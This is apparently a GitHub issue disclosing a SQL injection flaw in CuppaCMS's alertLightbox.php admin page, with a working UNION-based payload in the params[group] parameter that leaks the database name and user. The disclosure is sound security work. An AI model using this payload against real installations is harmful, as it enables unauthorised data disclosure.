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SQL injection vulnerability exists in CuppaCMS /administrator/alerts/alertLightbox.php #31

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JiuBanSec opened this issue Mar 22, 2022 · 0 comments

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@JiuBanSec
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  • VULNERABLE: SQL injection vulnerability exists in CuppaCMS. An attacker can inject query in
    “/administrator/alerts/alertLightbox.php" via the "params%5Bgroup%5D=2" parameters.
  • Github: https://github.com/JiuBanSec
  • Product: CuppaCMS
  • Impact: Allow attacker inject query and access , disclosure of all data on the system.
  • Payload: params%5Bgroup%5D=2'+UNION+ALL+SELECT+concat('\n','database:',database(),'\n','user:',user(),'\n'),null--+-
  • Proof of concept (POC):
    image
  • You can see injection code query into params%5Bgroup%5D parameters as show below
  • You see database and user as show below in the response
    image
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